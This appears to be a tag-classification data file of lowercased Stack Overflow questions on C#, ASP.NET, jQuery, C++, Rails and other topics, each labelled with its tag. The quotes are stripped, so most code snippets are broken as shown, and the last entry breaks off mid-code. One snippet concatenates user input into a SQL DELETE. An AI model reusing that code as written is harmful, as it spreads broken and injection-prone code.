prevent delete when text is empty  when a serial number that exists in the database is entered into the textbox it is successfully deleted with a message box. the problem is  even when the textbox is empty it still says it is successful.   <pre><code>try     {          connection.open();           oledbcommand command = new oledbcommand();          command.connection = connection;          string deleteentry =  delete from inventory where serialnumber=   + txtserial.text +     ;                     messagebox.show(deleteentry);          command.commandtext = deleteentry;          //to read data          command.executenonquery();          messagebox.show( data has been deleted );          connection.close(); // close here or you cannot edit records simultaneously     }          catch (oledbexception ex)     {          messagebox.show(ex.message);          connection.close();     }     } </code></pre>,c#
when to use form submit instead of simple links   is it better to use:   <pre><code>&lt;form class= delete  action= /post/delete/id/1234.html  method= post &gt;     &lt;input type= submit  value= delete this post /&gt; &lt;/form&gt; </code></pre>   ...instead of:   <pre><code>&lt;a class= delete  href= /post/delete/id/1234.html &gt;delete this post&lt;/a&gt; </code></pre>   ...when there is need to modify something in database  like when adding  updating  deleting and voting  also for logout action (which in my application is saving timestamps when the action is taken)  etc.,html
an object reference is required for the nonstatic field  method  or property  hi i am trying to writing a code which copy files from source folder to destination folder. if destination folder contains same file name then my program should store file with different name. e.g.  source folder contains: c:\test\ test1.txt test2.txt    destination folder contains d:\test\ test1.txt test2.txt test3.txt    then copy action should copy test1.txt and test2.txt from source to destination folder with name changed to  test4.txt and test5.txt    this is not complete code. but i am getting error an object reference is required for nonstatic field method  or property. at getfilename( ref destfilename  ref targetpath). any help on this     <pre><code>class program {     static void main(string[] args)     {         string sourcefilename = null;         string destfilename = null;         string sourcepath = @ c:\test ;         string targetpath = @ d:\test ;         list&lt;int&gt; seqnum = new list&lt;int&gt;();          // to copy a folder s contents to a new location:         // create a new target folder  if necessary.         if (!system.io.directory.exists(targetpath))         {             system.io.directory.createdirectory(targetpath);         }          // to copy all the files in one directory to another directory.         // get the files in the source folder. (to recursively iterate through         // all subfolders under the current directory  see         //  how to: iterate through a directory tree. )         // note: check for target path was performed previously         //       in this code example.         if (system.io.directory.exists(sourcepath))         {             string[] files = system.io.directory.getfiles(sourcepath);              // copy the files and overwrite destination files if they already exist.             foreach (string s in files)             {                 // use static path methods to extract only the file name from the path.                 //file name is like text1.txt                 sourcefilename = system.io.path.getfilename(s);                        if (system.io.directory.getfiles(targetpath).count() &gt; 0)                 {                     foreach (string file in system.io.directory.getfiles(targetpath))                     {                         if (file.contains(sourcefilename))                         {                             int num;                             string existinglatestfile = string.empty;                             destfilename = sourcefilename.replace( .txt   string.empty);                             for (int i = 0; i &lt; sourcefilename.length; i++)                             {                                 if (char.isdigit(sourcefilename[i]))                                 {                                     existinglatestfile += sourcefilename[i];                                 }                             }                             if (int.tryparse(existinglatestfile  out num))                             {                                 seqnum.add(num);                             }                             destfilename = destfilename.replace(existinglatestfile  string.empty);//remove existing number                             num = num + 1;                             destfilename = destfilename + num.tostring() +  .txt ; // make a new file name                             while (!getfilename( ref destfilename  ref targetpath))                             {                              }                          }                         else                         {                             destfilename = sourcefilename;                         }                         string destfile = system.io.path.combine(targetpath  destfilename);                         system.io.file.copy(s  destfile  false);                     }                 }              }         }         else         {             console.writeline( source path does not exist! );         }          if (system.io.directory.getfiles(targetpath).count() &gt; 0)         {             foreach (string file in system.io.directory.getfiles(targetpath))             {         /*        if (file.contains(dir +  \\  + filename))                 {                     int num;                     existinglatestfile = file.replace(dir +  \\  + filename  string.empty);                     existinglatestfile = existinglatestfile.replace( .txt   string.empty);                      if (int.tryparse(existinglatestfile  out num))                     {                         seqnum.add(num);                     }               }*/           console.writeline(file);             }         }          // keep console window open in debug mode.         console.writeline( press any key to exit. );         console.readkey();     }      bool getfilename(ref string filename  ref string destfolder)     {         bool retvalue =false;         foreach (string file in system.io.directory.getfiles(destfolder))         {             if (file.contains(filename))             {                 retvalue = false;             }             else             {                 retvalue = true;             }                         }                    return retvalue;     } } </code></pre>,c#
in asp.net  trying to find the assigned visibility value of a control that may be inside an invisible container  i am trying to find out whether a particular control on an asp.net page has had it s  visible  property assign to true or false. the problem is that the visible property crawl up the list of parents and if any of them show as invisible  the queried control will also show as invisible. i need to know what the control itself has been set to.    i did some searching and found the post <a href= https://stackoverflow.com/q/2005322/487909 >how to get the set/real value of the visible property in asp.net</a> which offered the following solution   <pre><code>public static bool localvisible(this control control){     var flags = typeof (control)         .getfield( flags   bindingflags.instance | bindingflags.nonpublic)         .getvalue(control);      return ! (bool) flags.gettype()         .getproperty( item   bindingflags.instance | bindingflags.nonpublic)         .getvalue(flags  new object[] {0x10}); } </code></pre>   but when i tried it  it returned an  ambiguous match found  error on getproperty.    can someone point out what i m doing wrong  or show another way of getting what i want,asp.net
how to get value of programmatically created numericupdown   i have program which creates multiple numericupdowns depending on user input (1-5).  i know how to get total value but how can i get value of each individual numericupdown. i was trying to test this using label1 but i get nullreferenceexception error.   <pre><code>   numericupdown test= new numericupdown();     test.name =  mynum  + convert.tostring(count2);     numericupdown.add(test);     system.drawing.point i = new system.drawing.point(8  20+ i * 25);     test.location = i;     test.size = new system.drawing.size(50  20);     this.controls.add(test);     test.valuechanged += new eventhandler(mytotal); </code></pre>   nullreferenceexception error is thrown at this line.   <pre><code>label1.text = test.controls[ mynum0 ].text; </code></pre>,c#
asp.net  response.redirect not working. why   in my application  i m trying to redirect to another page after a record is inserted into my datasource. the insert part works fine  but the page never redirects. any ideas  here s my current code:    <strong>aspx</strong>   <pre><code>   &lt;asp:formview id= formview1  runat= server  datakeynames= recapid       datasourceid= recapdatasource  defaultmode= insert &gt;         &lt;insertitemtemplate&gt;             recap date:             &lt;asp:textbox id= recapdatetextbox  runat= server                   text= &lt;%# bind( recapdate ) %&gt;  width= 80px  /&gt;&lt;asp:requiredfieldvalidator runat= server  id= requiredfieldvalidator1  controltovalidate= recapdatetextbox  errormessage= *  display= dynamic  /&gt;             &lt;asp:button id= insertbutton  runat= server  causesvalidation= true                   commandname= insert  text= create /&gt;         &lt;/insertitemtemplate&gt;         &lt;/asp:formview&gt; &lt;asp:sqldatasource id= recapdatasource  runat= server       conflictdetection= compareallvalues       connectionstring= &lt;%$ connectionstrings:connectionstring %&gt;        insertcommand= insert into [ftsrms_recap] ([recapdate]) values (@recapdate) select @newrecapid = scope_identity()       oldvaluesparameterformatstring= original_{0} &gt;     &lt;insertparameters&gt;         &lt;asp:parameter dbtype= date  name= recapdate  /&gt;         &lt;asp:parameter direction= output  name= newrecapid  type= int32  /&gt;     &lt;/insertparameters&gt; &lt;/asp:sqldatasource&gt; </code></pre>   <strong>aspx.vb</strong>   <pre><code>protected sub recapdatasource_inserted(sender as object  e as system.web.ui.webcontrols.sqldatasourceselectingeventargs)       read the value of the @newproductid output parameter     dim newrecapid as integer = convert.toint32(e.command.parameters( @newrecapid ).value)      response.redirect( profile.aspx  )  end sub </code></pre>,asp.net
maintaining dynamic textbox control values into an array in javascript onchange event  i need to maintain text box values into an array in javascript <code>onchange</code> event. the text box control is created dynammically in javascript function.  i have used below code. but at the end the array contains current element only. previous values are not maintaining. how can i maintain textbox value each time entered.   <pre><code>&lt;script type= text/javascript  language= javascript &gt; function drawtextbox(j) {     var imgelement = document.getelementbyid( myimage );     var imgcoord = imgelement.getboundingclientrect();     var cl = imgcoord.left + 20;     var x = x - cl;     var y = y - imgcoord.top;     var rect = document.getelementbyid(j);     if (rect == null) {         rect = document.createelement( div );         rect.id = j;         var pelement = document.getelementbyid( imgdiv );         pelement.appendchild(rect);     }     if (w &lt; 0) {         w = 10;     }     if (h &lt; 0) {         h = 10;     }     var l = parseint(document.getelementbyid( hright ).value) + 150 +  px ;     var style = rect.style;     // style.width = w +  px ;     //style.height = h +  px ;     style.left = l;     style.top = document.getelementbyid( htop ).value;     style.backgroundcolor =  transparent ;     //style.bordercolor =  blue ;     style.position =  absolute ;     style.borderstyle =  solid ;     style.borderwidth = 2 +  px ;     style.zindex = 6000;     document.getelementbyid(j).innerhtml =  &lt;textarea name=\ comments\  style=\  border:0\  title=\ enter comment\  id=\ t1\  value=\ entercomment:\  onchange=\ gettext()\  &gt;&lt;/textarea&gt; ;     //document.getelementbyid(i).innerhtml =  &lt;input type=\ textarea\ ...blah blah...&gt;&lt;/input&gt; ;     return rect; }  function gettext() {     array1.push(document.getelementbyid( t1 ).value);     alert(array1.join(    )); } &lt;/script&gt; </code></pre>,javascript
unable to find variables to load database data into  i m trying to <a href= https://dzone.com/articles/create-a-database-android-application-in-android-s  rel= nofollow noreferrer >follow this tutorial.</a>. (theres a lot of spelling mistakes which doesnt fill me with confidence).    anyway i m at the part where they speak about the <code>public void loadstudents()</code> function.  they don t mention where to put it  but i m assuming in the my <code>mainactivity.java</code> file  which now looks like this:   <pre><code>package com.chud37.myfirstdatabase;  import android.support.v7.app.appcompatactivity; import android.os.bundle; import android.view.view;  public class mainactivity extends appcompatactivity {      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);     }      public void loadstudents(view view) {         mydbhandler dbhandler = new mydbhandler(this  null  null  1);         lst.settext(dbhandler.loadhandler());         studentid.settext(  );         studentname.settext(  );     }  } </code></pre>   i m getting three errors when i build:   <pre><code>error: cannot find symbol variable lst error: cannot find symbol variable studentid error: cannot find symbol variable studentname </code></pre>   i dont understand why.  i ve been following the tutorial as closely as possible up until this point.  the only thing outside of it that i ve done is change my <code>app</code> file where it states  beta01<code>to</code>alpha1` because otherwise i cannot use the gui to add buttons and things  (thats a whole other error that i have no idea about at this point  i dont think it s affecting this).    my <code>activity_main.xml</code> file looks this:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;android.support.constraint.constraintlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= .mainactivity &gt;      &lt;edittext         android:id= @+id/studentid          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_margintop= 40dp          android:ems= 10          android:inputtype= textpersonname          android:text= student id          app:layout_constraintend_toendof= parent          app:layout_constraintstart_tostartof= parent          app:layout_constrainttop_totopof= parent  /&gt;      &lt;edittext         android:id= @+id/studentname          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_margintop= 8dp          android:ems= 10          android:inputtype= textpersonname          android:text= student name          app:layout_constraintend_toendof= parent          app:layout_constraintstart_tostartof= parent          app:layout_constrainttop_tobottomof= @+id/studentid  /&gt;      &lt;button         android:id= @+id/btnload          android:onclick= loadstudents          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_margintop= 8dp          android:text= load data          app:layout_constraintend_toendof= parent          app:layout_constraintstart_tostartof= parent          app:layout_constrainttop_tobottomof= @+id/studentname  /&gt;      &lt;button         android:id= @+id/btnadd          android:layout_width= 0dp          android:layout_height= wrap_content          android:layout_marginleft= 8dp          android:layout_marginstart= 8dp          android:text= add          app:layout_constraintstart_tostartof= parent          tools:layout_editor_absolutey= 383dp  /&gt;      &lt;button         android:id= @+id/btnfind          android:layout_width= 0dp          android:layout_height= wrap_content          android:layout_marginend= 8dp          android:layout_marginleft= 8dp          android:layout_marginright= 8dp          android:layout_marginstart= 8dp          android:text= find          app:layout_constraintend_tostartof= @+id/btndelete          app:layout_constrainthorizontal_bias= 0.0          app:layout_constraintstart_toendof= @+id/btnadd          tools:layout_editor_absolutey= 383dp  /&gt;      &lt;button         android:id= @+id/btndelete          android:layout_width= 0dp          android:layout_height= wrap_content          android:text= delete          app:layout_constraintend_tostartof= @+id/btnupdate          tools:layout_editor_absolutey= 383dp  /&gt;      &lt;button         android:id= @+id/btnupdate          android:layout_width= 0dp          android:layout_height= wrap_content          android:layout_marginend= 4dp          android:layout_marginright= 4dp          android:text= update          app:layout_constraintend_toendof= parent          tools:layout_editor_absolutey= 383dp  /&gt;      &lt;textview         android:id= @+id/lst          android:layout_width= 351dp          android:layout_height= 146dp          android:layout_marginbottom= 8dp          android:layout_marginend= 8dp          android:layout_marginleft= 8dp          android:layout_marginright= 8dp          android:layout_marginstart= 8dp          android:layout_margintop= 8dp          app:layout_constraintbottom_totopof= @+id/btnfind          app:layout_constraintend_toendof= parent          app:layout_constraintstart_tostartof= parent          app:layout_constrainttop_tobottomof= @+id/btnload  /&gt;  &lt;/android.support.constraint.constraintlayout&gt; </code></pre>   please help! thanks,android
set imagesize in tableview cell dynamically  i am using sdwebimage  in tableview controller  i am getting photos from url  storing urls in array and displaying in imageview in table view cell so how can i set  image size dynamically depends on size of images in tableviewcell in objective-c .,objective-c
some code to force a user to enter a choice  i m quite new to c++ and i need help on some code to force a user to make a choice. the first choice calls back the main function and the second choice calls <code>return 0</code>  else the program isn t suppose to <code>return 0</code> in the main function on any choice. the choice are <code>y</code> or <code>y</code> for yes and <code>n</code> or <code>n</code> for no  aside these letters the code is not to accept any letter. i would appreciate it a lot if i receive a help  thank you.   <pre><code>    #include  person. h      #include &lt;iostream&gt;     #include &lt;string&gt;      using namespace std;       int main()     { person persons;   persons. getinfo();  persons.showinfo();  cout &lt;&lt;  do you want to continue  type y or y for yes and n or n for no to exit  &lt;&lt; endl;   char choice;   cin &gt;&gt; choice;   if (choice == ( y || y )) { int main(); }  if (choice == ( n || n )) { return 0; }  else {  cout &lt;&lt;  please make a choice ; cin &gt;&gt; choice;   } /* this is where i would like to iterate in other for the     user to make one of the choices provided above */   return 0;  } </code></pre>,c++
copy records one table to another table <ol> <li>how to copy records from one table to another table </li> <li>why do i get the error <code> #1054 - unknown column     in  where clause </code></li> </ol>,mysql
how to get substrings from a string  for example    string test =  extract substring from a string ; // extract this in to    extract    substring    from    a    string    in .net2 thank you,.net
destructor is never called  sorry for my inattension  in short the <code>~csarray()</code> is work  but interface and implementation of the class there was in different files  so mistake is here,c++
how to insert parameter to url from html form   i have a link class.php event=donbass2012 and i have a html form. how to send value from form to url to get link like this:    class.php event=donbass2012&amp;class=f1a,html
activate events onclick of browser s back button in jquery  im looking for a simple cross-browser plugin or method that can help me do this :   <pre><code>$( #clear_window ).click(function(){     $( #window ).fadeout(50);         var activetab = $( ul.tabs li.active ).find( a ).attr( href );         $(activetab).fadein(50); }); </code></pre>   but on the click of the browsers back button not on the #clear_window click,jquery
center a dynamic width box  pseudo html   <pre><code>&lt;div&gt;  &lt;ul&gt;   &lt;li&gt;nav 1&lt;/li&gt;   &lt;li&gt;nav 2&lt;/li&gt;  &lt;/ul&gt; &lt;/div&gt; </code></pre>   i want this to look like    <code>[div---------------[ul nav1 nav2]----------------------]</code>    instead i get    <code>[div[ul nav1 nav2-----------padding-------------------]]</code>    the li s are left floated. the ul has overflow: auto. how can i get the ul to be as wide as it needs to be  not as wide as it can be  so i center it with an auto margin,css
segfault when creating a std::string with std::to_string()  in linux  but not windows i get a segfault at the following location. i currently do not know what is wrong with this section. what i want to to is to push a std::string into a std::vector which is later used for generating a log. the entry at the following position just inherits a timestamp and a perf counter.   <pre><code>logentry lentry = {   lentry.m_logtime = get_time_stamp()    lentry.m_logmsg =  txt:   + std::to_string(gettickcount() - ibegin) // debugger complains here }; m_log.push_back(lentry);  /* inline unsigned long long gettickcount() {   using namespace std::chrono;   return duration_cast&lt;milliseconds&gt;(steady_clock::now().time_since_epoch()).count(); }  struct logentry {   std::string m_logtime;   std::string m_logmsg; }; */ </code></pre>   gdb   <pre><code>(gdb) bt 25 #0  0x00007ffff2f39133 in std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;::swap(std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;&amp;) () from /usr/lib64/libstdc++.so.6 #1  0x00007ffff7f631a9 in std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;::operator=(std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;&amp;&amp;) () #2  0x00007ffff7cad5eb in xxx::zzz (this=0x7ffffffe44d0  data=...  iselmodel=2) at file.cpp:1110  (gdb) bt full #0  0x00007ffff2f39133 in std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;::swap(std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;&amp;) () from /usr/lib64/libstdc++.so.6 no symbol table info available. #1  0x00007ffff7f631a9 in std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;::operator=(std::basic_string&lt;char  std::char_traits&lt;char&gt;  std::allocator&lt;char&gt; &gt;&amp;&amp;) () no symbol table info available. #2  0x00007ffff7cad5eb in abstractposerengine::exportmodel (this=0x7ffffffe44d0  data=...  iselmodel=2) at /home/cst/desktop/posergui/src/engine/abstractposerengine.cpp:1110         ndim = {259  439  667}         askinmat = std::vector of length 1  capacity 1 = {34}         ibegin = 13520825         lentry = {m_logtime = traceback (most recent call last):   file  /usr/lib64/../share/gdb/python/libstdcxx/v6/printers.py   line 558  in to_string     return self.val[ _m_dataplus ][ _m_p ].lazy_string (length = len) runtimeerror: cannot access memory at address 0x3dc775   m_logmsg = traceback (most recent call last):   file  /usr/lib64/../share/gdb/python/libstdcxx/v6/printers.py   line 558  in to_string     return self.val[ _m_dataplus ][ _m_p ].lazy_string (length = len) runtimeerror: cannot access memory at address 0x4247ae140000000f } </code></pre>,c++
where actually is gac files located   there is something i don t understand about the <code>gac</code>files location ...    when i install some assembly in the <code>gac</code> - where will be actually the assembly location,.net
rails input barcode without clicking into input filed  i m curious right now if it s possible to have a usb barcode scanner connected to a pc and if you just scan something it should just check the database for the product.    more details:    we got a crm written in rails now if you click on a input field you can simple scan and everything is just fine but is it possible to let the people do whatever they want but if they scan it should automatically check the database for the product  even if they don t click into a input field     scanner: <a href= http://www.conrad.at/medias/global/ce/9000_9999/9100/9140/9144/914408_lb_00_fb.eps_1000.jpg  rel= nofollow >http://www.conrad.at/medias/global/ce/9000_9999/9100/9140/9144/914408_lb_00_fb.eps_1000.jpg</a>    tl;dr    usb barcode scanner -> scanning and query database without clicking into input fields    edit:     alright now i have copied some code from a site  it bassically captures the barcode and prints it out. now i d like to hide the form but still get the input printed is this possible somehow     <a href= http://www.deadosaurus.com/demos/barcode.html  rel= nofollow >http://www.deadosaurus.com/demos/barcode.html</a>    there is a form but i just want a keylogger like tool which checks for any input without input fields.    thanks guys!   <pre><code>    var pressed = false;      var chars = [];      $(window).keypress(function(e) {         if (e.which &gt;= 48 &amp;&amp; e.which &lt;= 57) {             chars.push(string.fromcharcode(e.which));         }         console.log(e.which +  :  + chars.join( | ));         if (pressed == false) {             settimeout(function(){                 if (chars.length &gt;= 10) {                     var barcode = chars.join(  );                     console.log( barcode scanned:   + barcode);                     // assign value to some input (or do whatever you want)                     $( #barcode ).val(barcode);                 }                 chars = [];                 pressed = false;             } 500);         }         pressed = true;     }); }); $( #barcode ).keypress(function(e){     if ( e.which === 13 ) {         console.log( prevent form submit. );         e.preventdefault();     } }); </code></pre>,ruby-on-rails
display string and number together in tableview  i am trying to concatenate and display string and number together in a table view cell. is there any mechanism to convert both of them together to a label string,iphone
dynamicly add a data anchor to url  i have a html page with text. in text i have a lot of anchors:   <pre><code>&lt;a href= #  data-brand= ford &gt;ford&lt;/a&gt;  &lt;a href= #  data-type= mustang &gt;mustang&lt;/a&gt;. </code></pre>   in the end of text i have a links to external sources like:   <pre><code>http://example1.com </code></pre>   by clicking anchors in text i need add this anchors to external links.   <pre><code>http://example1.com/ data-brand=ford&amp;data-type=mustang </code></pre>   can you help me with it  thanks a lot.,jquery
animate image view current position to top - left corner  i have relative layout  in that layout i have image views which altogether looks like one image. i want animate the 6 image views. 3 are <code>right_top right_center right_bottom</code> and another 3 are <code>left-top left-center left-bottom</code>. and all these are within its parent layout only...    i want to implement exactly like <a href= http://i.stack.imgur.com/fifa7.png  rel= nofollow >this image</a>.,android
embedded youtube imovie created in dreamweaver cs3 not visible when using internet explorer  embedded youtube imovie created in dreamweaver cs3 not visible when using internet explorer but work fine using safari  firefox and chrome.    new to all this code business    www.redstonecreative.eu    here s what the code is like - (thanks)    //       //      //,html
which is better if(a) or if(a!=null)  if a is a pointer  is there a difference between testing if(a) and if(a != null)   which one is better,c++
while loop through last td in each tr and conditional hide whole row  i have a table that has a list of data in it. for example it has a data like in the picture below. i want to hide any row that shows $0.00 under total s column. i wrote below jquery to loop through and display alert for each last td in row  i wasn t able to accomplish that.     how can i make jquery go through last column in this and check if field has $0.00 value hide it s whole row      for example  in the below picture gasoline  retail and wholesale should not be displayed because all of them has value of $0.00 in totals section.    <a href= https://i.stack.imgur.com/k0n7s.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/k0n7s.png  alt= enter image description here ></a>    sample jquery i wrote   <pre><code>$( #table tr td:last-child ).each(function(){ alert( abc ); }) </code></pre>   sample table code in the picture   <pre><code>&lt;tbody class= vt-section &gt;             &lt;!--title--&gt;             &lt;tr data-holder= top_title  class= top_title &gt;                 &lt;th class= title &gt;income&lt;/th&gt;             &lt;th class= title thsection &gt;july&lt;br&gt;2016&lt;/th&gt;&lt;th class= title thsection &gt;august&lt;br&gt;2016&lt;/th&gt;&lt;th class= title thsection &gt;september&lt;br&gt;2016&lt;/th&gt;&lt;th class= title undefined &gt;totals&lt;/th&gt;&lt;/tr&gt;             &lt;!--data--&gt;             &lt;tr data-holder= inc_food &gt;                 &lt;th class= vt-label-un &gt;food&lt;/th&gt;             &lt;td undefined=  &gt;$26 542.00&lt;/td&gt;&lt;td undefined=  &gt;$25 955.00&lt;/td&gt;&lt;td undefined=  &gt;$26 067.00&lt;/td&gt;&lt;td class= bold &gt;$78 564.00&lt;/td&gt;&lt;/tr&gt;             &lt;tr data-holder= inc_non_food &gt;                 &lt;th class= vt-label-un &gt;non-food&lt;/th&gt;             &lt;td undefined=  &gt;$3 507.00&lt;/td&gt;&lt;td undefined=  &gt;$3 020.00&lt;/td&gt;&lt;td undefined=  &gt;$3 054.00&lt;/td&gt;&lt;td class= bold &gt;$9 581.00&lt;/td&gt;&lt;/tr&gt;             &lt;tr data-holder= inc_gasoline &gt;                 &lt;th class= vt-label-un &gt;gasoline&lt;/th&gt;             &lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td class= bold &gt;$0.00&lt;/td&gt;&lt;/tr&gt;             &lt;tr data-holder= inc_retail &gt;                 &lt;th class= vt-label-un &gt;retail&lt;/th&gt;             &lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td class= bold &gt;$0.00&lt;/td&gt;&lt;/tr&gt;             &lt;tr data-holder= inc_wholesale &gt;                 &lt;th class= vt-label-un &gt;wholesale&lt;/th&gt;             &lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td undefined=  &gt;$0.00&lt;/td&gt;&lt;td class= bold &gt;$0.00&lt;/td&gt;&lt;/tr&gt;             &lt;!--totals--&gt;             &lt;tr data-holder= inc_total_sales &gt;                 &lt;th class= vt-label-un bold &gt;total sales&lt;/th&gt;             &lt;td class= inctotal &gt;$30 049.00&lt;/td&gt;&lt;td class= inctotal &gt;$28 975.00&lt;/td&gt;&lt;td class= inctotal &gt;$29 121.00&lt;/td&gt;&lt;td class= incfinal red bold &gt;$88 145.00&lt;/td&gt;&lt;/tr&gt;             &lt;/tbody&gt; </code></pre>   below is the part that generates the table   <pre><code>$( #resultform ).on( submit   function (e) {     e.preventdefault();      var start = $( #start ).val();     var end = $( #end ).val();     var company = $( #company ).val();      // add company and date at top     $( #infocompany ).html(company);     $( #infodates ).html(start+  -  +end);      getdata(start  end  company);      // remove $0.00 fields from the list     $( .bold ).filter(function(){         return this.innerhtml.trim() ===  $0.00 ;     }).closest( tr ).hide(); }) </code></pre>   who ever marked this as has an answer through another topic  i implemented that solution  still $0.00 ones come back.    below is that interpretation.   <pre><code>  // remove $0.00 fields from the list     $( #table tr ).each(function() {         var $erledigtcell = $(this).find( td ).last().prev();         var $row = $erledigtcell.parent();          if($erledigtcell.text() ==  $0.00 ){             $row.hide();         } else {             $row.show();         }     }); </code></pre>   here s ajax function of getdata /<em>retrieve data via ajax</em>/   <pre><code>function getdata(start  end  company) {      $.ajax({         url :  ../src/processes/pl.php           type :  post           datatype :  json           data : {             start : start              end : end              company : company              method :  masspl          }          success: function (response) {             data = response;             adddata()         }     }) } </code></pre>,jquery
duplicate object and working with duplicate without changing original  assuming i have an object itemvo in which there a bunch of properties already assigned. eg:    <pre><code>itemvo originalitemvo = new itemvo(); originalitemvo.itemid = 1; originalitemvo.itemcategory =  original ; </code></pre>   i would like to create another duplicate by using :   <pre><code>duplicateitemvo = originalitemvo; </code></pre>   and then use the duplicateitemvo and alter its  properties  without changing the originalitemvo:   <pre><code>// this also change the originalitemvo.itemcategory which i do not want. duplicateitemvo.itemcategory =  duplicate   </code></pre>   how can i achieve this  without changing the class itemvo      thanks   <pre><code>public class itemvo      {     public itemvo()     {         itemid =   ;         itemcategory =   ;     }      public string itemid { get; set; }     public string itemcategory { get; set; } } </code></pre>,c#
using url_helpers inside lib class in rails 4  in my rails app a lib class is used to recieve emails. the email reciever class parses the email and post it to a application controller using a http response. the code for this is as shown :   <pre><code>  uri =  http://localhost:3000/incoming_mail    body = { from =&gt; from   to  =&gt; to   subject  =&gt; subject   message  =&gt; message}    response = net::http::post_form(uri.parse(uri)  body) </code></pre>   the problem is i don t want to specify the complete url. is there any way to use  incoming_mail_path  instead of  localhost:3000/incoming_mail    i tried to add :   <pre><code>include rails.application.routes.url_helpers </code></pre>   but this is not working and gives the following error :   <pre><code> &lt;class:emailreceiver&gt; : uninitialized constant emailreceiver::rails (nameerror) </code></pre>   can anyone please suggest a solution for this.    i am posting the entire class here(updated the class with include statement):   <pre><code>require  mail  require  net/https  require  net/http  require  uri      class emailreceiver     include rails.application.routes.url_helpers   attr_accessor :url   def initialize   end    def submit(content)     mail    = mail.read_from_string(content)     body    = mail.body.decoded     from    = mail.from.first     to      = mail.to.first     subject = mail.subject       if mail.multipart        part = mail.parts.select { |p| p.content_type =~ /text\/plain/ }.first rescue nil       unless part.nil          message = part.body.decoded       end     else       message = mail.decoded     end      unless message.nil         uri = incoming_mail_url       #uri =  http://localhost:3000/incoming_mail        body = { from =&gt; from   to  =&gt; to   subject  =&gt; subject   message  =&gt; message}        response = net::http::post_form(uri.parse(uri)  body)      end   end   end  handler = emailreceiver.new handler.submit(stdin.read) </code></pre>,ruby-on-rails
switch off auto-suggestions on a searchbar  i m using a searchbar  and after at least three characters are entered  i show a tableview list with possible words from a dictionary. the user can tap on a word in this list to select the desired word.    this works fine as long as ios doesn t show his own suggestion (shown in blue below the input field).    example: i type in  autof   and the tableview show me two entries (in german 1.  auto fahren  and 2.  autofahrer ).     ios show me the word  autofocus  in blue with a  x  to delete it.    if i select the second entry in this state  i want to search for  autofahrer   but the delegation method tell me  the search word has changed to  autofocus . now  before processing the tableview selection  a new search for possible words for  autofocus  is made  resulting in an empty tableview list  and after this  the prior selection with index = 1 is made. of course  this results in a crash on an empty list!    i not want the ios suggestions at all  only the selection from the list. how can i tell my program to not show suggestions on my searchbar,ios
acts as votable gem comments votable  i currently have a working voting system for my posts and i want my post-comments to be votable aswell.    comments controller    <pre><code> def upvote     @post.comments.upvote_from current_user     redirect_to post_path(@post)   end    def downvote     @post.comments.downvote_from current_user     redirect_to post_path(@post)   end    private    def find_post     @post = post.find(params[:post_id])     end    def find_comment     @comment = @post.comments.find(params[:id])     end </code></pre>   routes   <pre><code>     resources :posts do       resources :comments do           member do               put  like  =&gt;  comments#upvote                put  unlike  =&gt;  comments#downvote            end       end   end    resources :posts do       member do           put  like  =&gt;  posts#upvote            put  unlike  =&gt;  posts#downvote        end   end </code></pre>   comment view   <pre><code>&lt;!-- upvote + downvote --&gt;   &lt;div class= caption  style= text-align:center &gt;     &lt;%= link_to like_post_comment_path(@post  comment)  class:  like   method: :put do %&gt;       &lt;button type= button  class= btn-xs btn-outline-info   aria-label= left align &gt;         &lt;span class= far fa-thumbs-up  aria-hidden= false &gt;&lt;/span&gt;         &lt;span class= badge &gt;&lt;%= @post.comments.get_upvotes.size %&gt;&lt;/span&gt;       &lt;/button&gt;     &lt;% end %&gt;      &lt;%= link_to unlike_post_comment_path(@post  comment)  class:  like   method: :put do %&gt;       &lt;button type= button  class= btn-xs btn-outline-info  aria-label= left align &gt;         &lt;span class= far fa-thumbs-down  aria-hidden= true &gt;&lt;/span&gt;         &lt;span class= badge &gt;&lt;%= @post.comments.get_downvotes.size %&gt;&lt;/span&gt;       &lt;/button&gt;     &lt;% end %&gt;   &lt;/div&gt; </code></pre>   controller model   <pre><code>    class comment &lt; applicationrecord   acts_as_votable   validates :body  presence: true  length: { maximum: 60 }   belongs_to :post   belongs_to :user end </code></pre>   user model   <pre><code>    class user &lt; applicationrecord   acts_as_voter ... end </code></pre>   post controller   <pre><code>def upvote   @post.upvote_from current_user     redirect_to post_path(@post)   end    def downvote   @post.downvote_from current_user     redirect_to post_path(@post)   end </code></pre>   this is the error message i get    undefined method `get_upvotes  for # did you mean   get_value    hit me up if you need more information!    thank you in advance!    €dit :    i managed to solve the problem myself.    i had to change my comments controller to :   <pre><code>def upvote     @comment.upvote_from current_user     redirect_to post_path(@post)   end    def downvote    @comment.downvote_from current_user     redirect_to post_path(@post)   end </code></pre>   and my comment view to :   <pre><code>  &lt;!-- upvote + downvote --&gt;   &lt;div class= caption  style= text-align:center &gt;     &lt;%= link_to like_post_comment_path(@post  comment)  class:  like   method: :put do %&gt;       &lt;button type= button  class= btn-xs btn-outline-info   aria-label= left align &gt;         &lt;span class= far 